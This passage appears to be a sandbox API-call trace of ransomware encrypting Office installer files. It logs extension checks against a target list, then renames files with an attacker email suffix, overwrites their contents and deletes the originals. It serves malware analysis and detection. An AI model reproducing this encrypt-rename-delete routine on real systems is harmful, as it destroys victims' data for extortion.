lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.061] lstrlenW (lpString=".doc") returned 4 [0046.061] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.061] lstrlenW (lpString=".docx") returned 5 [0046.061] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.061] lstrlenW (lpString=".pdf") returned 4 [0046.061] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.061] lstrlenW (lpString=".xls") returned 4 [0046.061] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.061] lstrlenW (lpString=".xlsx") returned 5 [0046.061] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.061] lstrlenW (lpString=".ppt") returned 4 [0046.061] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.061] lstrlenW (lpString=".zip") returned 4 [0046.061] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.061] lstrlenW (lpString=".rar") returned 4 [0046.061] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.061] lstrlenW (lpString=".bz2") returned 4 [0046.062] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.062] lstrlenW (lpString=".7z") returned 3 [0046.062] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.062] lstrlenW (lpString=".dbf") returned 4 [0046.062] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.062] lstrlenW (lpString=".1cd") returned 4 [0046.062] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.062] lstrlenW (lpString=".jpg") returned 4 [0046.062] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.062] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0046.062] lstrlenW (lpString="WordMUI.msi") returned 11 [0046.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.063] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2522624) returned 1 [0046.063] CloseHandle (hObject=0x15c) returned 1 [0046.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0046.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0046.063] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0046.064] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.064] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.064] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.064] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.973] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.973] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.037] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.037] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.037] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.101] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.101] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.121] SetEndOfFile (hFile=0x15c) returned 1 [0047.121] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f93be0 [0047.121] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.121] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.350] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.350] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.420] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.420] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.424] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f93be0 | out: hHeap=0x510000) returned 1 [0047.425] CloseHandle (hObject=0x15c) returned 1 [0048.619] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0048.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.619] lstrlenW (lpString=".doc") returned 4 [0048.619] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.619] lstrlenW (lpString=".docx") returned 5 [0048.619] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.619] lstrlenW (lpString=".pdf") returned 4 [0048.619] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.619] lstrlenW (lpString=".xls") returned 4 [0048.619] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.619] lstrlenW (lpString=".xlsx") returned 5 [0048.619] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.619] lstrlenW (lpString=".ppt") returned 4 [0048.619] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.619] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.619] lstrlenW (lpString=".zip") returned 4 [0048.619] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.620] lstrlenW (lpString=".rar") returned 4 [0048.620] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.620] lstrlenW (lpString=".bz2") returned 4 [0048.620] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.620] lstrlenW (lpString=".7z") returned 3 [0048.620] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString=".dbf") returned 4 [0048.620] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString=".1cd") returned 4 [0048.620] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString=".jpg") returned 4 [0048.620] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString=".doc") returned 4 [0048.620] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.620] lstrlenW (lpString=".docx") returned 5 [0048.620] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.620] lstrlenW (lpString=".pdf") returned 4 [0048.620] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.620] lstrlenW (lpString=".xls") returned 4 [0048.620] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.620] lstrlenW (lpString=".xlsx") returned 5 [0048.620] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.620] lstrlenW (lpString=".ppt") returned 4 [0048.620] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.620] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.620] lstrlenW (lpString=".zip") returned 4 [0048.620] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.621] lstrlenW (lpString=".rar") returned 4 [0048.621] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.621] lstrlenW (lpString=".bz2") returned 4 [0048.621] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.621] lstrlenW (lpString=".7z") returned 3 [0048.621] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.621] lstrlenW (lpString=".dbf") returned 4 [0048.621] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.621] lstrlenW (lpString=".1cd") returned 4 [0048.621] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.621] lstrlenW (lpString=".jpg") returned 4 [0048.621] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.621] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0048.621] lstrlenW (lpString="Proof.msi") returned 9 [0048.621] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0048.621] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=881152) returned 1 [0048.622] CloseHandle (hObject=0x15c) returned 1 [0048.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0048.622] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0048.622] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.622] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.622] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0048.822] GetLastError () returned 0x0 [0048.822] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0048.915] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0049.284] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.284] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.284] SetEndOfFile (hFile=0x1dc) returned 1 [0049.284] CloseHandle (hObject=0x1dc) returned 1 [0049.300] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.300] SetEndOfFile (hFile=0x15c) returned 1 [0049.310] CloseHandle (hObject=0x15c) returned 1 [0049.310] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0049.311] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0049.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.311] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.311] lstrlenW (lpString=".doc") returned 4 [0049.311] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.311] lstrlenW (lpString=".docx") returned 5 [0049.311] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0049.311] lstrlenW (lpString=".pdf") returned 4 [0049.311] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.311] lstrlenW (lpString=".xls") returned 4 [0049.311] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.311] lstrlenW (lpString=".xlsx") returned 5 [0049.311] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0049.312] lstrlenW (lpString=".ppt") returned 4 [0049.312] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString=".zip") returned 4 [0049.312] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.312] lstrlenW (lpString=".rar") returned 4 [0049.312] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.312] lstrlenW (lpString=".bz2") returned 4 [0049.312] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.312] lstrlenW (lpString=".7z") returned 3 [0049.312] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString=".dbf") returned 4 [0049.312] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString=".1cd") returned 4 [0049.312] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString=".jpg") returned 4 [0049.312] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.312] lstrlenW (lpString=".doc") returned 4 [0049.312] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.312] lstrlenW (lpString=".docx") returned 5 [0049.313] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0049.313] lstrlenW (lpString=".pdf") returned 4 [0049.313] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.313] lstrlenW (lpString=".xls") returned 4 [0049.313] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.313] lstrlenW (lpString=".xlsx") returned 5 [0049.313] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0049.313] lstrlenW (lpString=".ppt") returned 4 [0049.313] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.313] lstrlenW (lpString=".zip") returned 4 [0049.313] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.313] lstrlenW (lpString=".rar") returned 4 [0049.313] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.313] lstrlenW (lpString=".bz2") returned 4 [0049.313] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.313] lstrlenW (lpString=".7z") returned 3 [0049.313] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.313] lstrlenW (lpString=".dbf") returned 4 [0049.313] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.313] lstrlenW (lpString=".1cd") returned 4 [0049.313] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.313] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0049.313] lstrlenW (lpString=".jpg") returned 4 [0049.314] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.314] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0049.314] lstrlenW (lpString="Proof.msi") returned 9 [0049.314] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.314] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=885760) returned 1 [0049.314] CloseHandle (hObject=0x15c) returned 1 [0049.314] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0049.315] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0049.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0049.315] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.315] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.315] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.678] GetLastError () returned 0x0 [0049.679] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0049.765] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0049.784] ReadFile (in: hFile=0x15c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.784] WriteFile (in: hFile=0x1e8, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.784] SetEndOfFile (hFile=0x1e8) returned 1 [0049.784] CloseHandle (hObject=0x1e8) returned 1 [0050.102] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.102] SetEndOfFile (hFile=0x15c) returned 1 [0050.121] CloseHandle (hObject=0x15c) returned 1 [0050.121] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0050.122] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all 